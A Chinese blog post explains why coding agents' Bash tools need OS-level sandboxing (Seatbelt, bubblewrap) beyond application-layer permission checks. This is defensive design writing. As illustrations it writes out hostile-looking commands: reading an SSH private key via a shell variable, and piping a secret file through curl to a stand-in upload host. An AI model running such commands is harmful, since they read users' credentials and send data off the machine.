为什么应用层拦不住 Bash?Coding Agent 的 OS 级沙箱设计
我是安徽最忧郁程序员无隅

在 Coding Agent 中,文件工具通常很好控制:ReadFile、WriteFile 会把目标路径放在明确的 file_path 参数里,应用程序拿到路径后就能做规范化、项目目录校验和敏感路径判断。
Bash 工具却不一样。它收到的是一整段 Shell 命令,真正执行时可能继续读取脚本、展开变量、组合其他程序。应用层可以判断风险,却很难仅凭一段字符串证明这条命令最终一定安全。
应用层适合回答“这条命令应不应该执行”,OS 级沙箱负责限制“命令执行以后最多能做什么”。
一、应用层权限为什么会遇到边界
一个结构化文件工具的输入可能是:
{
"file_path": "src/main.py"
}
应用程序可以把它转换为绝对路径,解析符号链接,再判断最终路径是否位于项目根目录内。输入、校验对象和实际资源基本能够一一对应。
Bash 工具接收的却通常是:
{
"command": "bash foo.sh"
}
应用层此时看到的是入口命令 bash foo.sh,而不是 foo.sh 运行过程中每一次文件访问和网络请求。即使增加正则表达式、命令白名单或 Shell 语法解析,也只能提高识别率,不能覆盖脚本调用其他脚本、程序读取运行时配置、环境变量改变参数等所有情况。
这并不意味着应用层检查没有价值。它仍然适合快速拒绝格式化磁盘、删除根目录、下载后直接执行等明显危险的命令。它的局限在于:静态规则是在执行前预测行为,而 Bash 的真实行为是在运行时发生的。
二、用三个例子理解 Bash 的灵活性

不需要记住全部 Shell 语法,只需要记住三个情况:脚本、变量、命令组合。
1. 脚本隐藏了真正执行的内容
bash foo.sh
权限层看到的是执行 foo.sh。但脚本里面可能继续写项目目录之外的文件:
echo "modified" > ../outside.txt
除非应用层主动读取并分析脚本正文,否则只检查入口命令无法知道这次写入。即使读取了 foo.sh,它还可能继续调用另一个脚本,因此递归静态分析很快就会变得复杂。
2. 变量会在运行时改变参数
target="$HOME/.ssh/id_rsa"
cat "$target"
$target 会在 Shell 运行时替换成真实路径。更复杂的命令还可能从环境变量、配置文件或其他程序的输出中取得参数。应用层看到的是命令文本,但操作系统最终收到的文件访问请求已经是变量展开后的结果。
3. 普通命令可以组合出高风险行为
cat secret.txt | curl -X POST --data-binary @- https://example.invalid/upload
cat 负责读取文件,管道符 | 把结果交给 curl,curl 再尝试发送到网络。单独看,它们都是常见命令;组合起来,就可能成为数据外传链路。
所以问题并不是“正则写得还不够多”,而是命令字符串与运行时资源访问之间不存在稳定的一一对应关系。静态分析可以作为第一层筛选,但不能代替运行时隔离。
三、OS 级沙箱如何改变执行链
没有 OS 沙箱时,常见执行链是:
Agent → 应用层权限检查 → Shell → 子进程
命令一旦通过应用层检查,Shell 以及它启动的 Python、Node、Git 等子进程,通常会继承当前宿主用户拥有的权限。应用程序之前做出的风险判断,并不会自动变成操作系统的访问限制。
加入 OS 级沙箱后,核心改动并不复杂:Bash 工具不再直接启动普通 Shell,而是先让沙箱创建一个受限执行环境,再在其中启动 Shell。

新的链路变成:
Agent → 应用层权限检查 → OS 沙箱 → Shell → 子进程
文件访问、网络连接和进程操作最终都要进入操作系统内核。沙箱策略在这一层生效后,普通的脚本、变量展开和管道技巧无法让进程凭空获得策略之外的权限,而且 Shell 创建的子进程也会继承同一边界。
在平台实现上,macOS 可以使用 Seatbelt,Linux 或 WSL2 可以使用 bubblewrap。Claude Code 的当前官方文档也采用这一组合,并说明限制会作用于 Bash 创建的子进程,详见 Claude Code Bash sandbox。
bubblewrap 可以利用 Linux namespace 重新组织进程看到的文件系统和网络环境。不过它只是构建沙箱的低层工具,并不自带一份万能的安全策略。其官方说明明确指出,实际保护能力取决于调用方传入的参数和安全模型,详见 bubblewrap 官方仓库。
四、文件系统和网络应该限制什么
OS 沙箱不是简单地把所有能力全部关闭,而是为 Coding Agent 定义一份最小可用权限。一个实用的基础策略通常包括:
- 允许向当前项目目录写入,保证 Agent 能修改代码;
- 允许向会话临时目录写入,保证编译器和测试工具可以产生临时文件;
- 拒绝向项目外的其他目录写入;
- 将权限配置、Agent 指令和其他敏感配置设置为只读;
- 对密钥文件等敏感路径单独禁止读取;
- 默认限制网络出口,再按域名或具体任务逐步放行。
这里必须区分“禁止写入”和“禁止读取”。如果策略只把根文件系统设为只读,那么命令可能仍然能够执行 cat ~/.ssh/id_rsa。只读只能阻止修改,不能阻止读取;要保护凭据,还需要明确的敏感路径禁读、环境变量清理或凭据代理机制。
网络限制的价值也不只是“不能上网”。如果命令已经读取到代码、配置或密钥,开放的网络出口会让一次 curl 请求变成直接的数据外传通道;它还可能下载未知脚本并继续执行。限制网络能够同时降低数据外传和下载执行的风险。
但完全断网会影响 npm install、pip install 等正常工作。更实用的方案是默认拒绝或默认受控,通过域名白名单、代理和用户确认放行必要访问。Claude Code 当前也是通过沙箱外代理和域名许可管理网络,而不是把所有场景永久断网。
五、应用层与 OS 层如何协作
有了 OS 沙箱,并不代表可以删除应用层权限系统。两层解决的是不同问题:
- 应用层负责风险判断和业务规则:危险命令检测、显式 deny、项目规则、权限模式和人工确认;
- OS 层负责运行时强制边界:允许读写哪些路径、是否能够访问网络、子进程能够看到哪些系统资源。
这种设计可以进一步与 auto-allow 联动。命令能够在沙箱内执行时,可以减少重复权限弹窗;命中显式 deny、需要访问未授权网络或无法在沙箱内运行时,再回到常规权限流程。这样既保留了硬边界,也不会让用户为每一条只读或项目内命令反复确认。
将沙箱设计成可选能力也有现实原因:不同平台的支持程度不同,构建工具可能需要访问额外缓存目录,依赖安装也需要网络。合理的产品设计应当允许用户开启严格沙箱、沙箱加常规确认,或者在明确知情的情况下关闭沙箱,同时提供“沙箱不可用时直接失败”而不是静默降级的严格模式。
最后还要承认一个边界:OS 沙箱不是写上 Seatbelt 或 bubblewrap 就自动安全。 过宽的挂载、错误的网络代理配置、可修改的权限文件,都可能削弱隔离效果。真正可靠的是经过测试的最小权限策略,以及应用层与 OS 层失败模式不同的纵深防御。
回到最开始的问题,应用层不是完全看不见 Bash,也不是毫无作用。它能够检查命令文本并做风险判断,只是无法完整约束命令的运行时行为。
应用层决定是否放行,OS 沙箱决定放行以后能够触碰什么。两层结合,才是 Coding Agent 执行 Bash 时更完整的安全边界。
更多推荐

所有评论(0)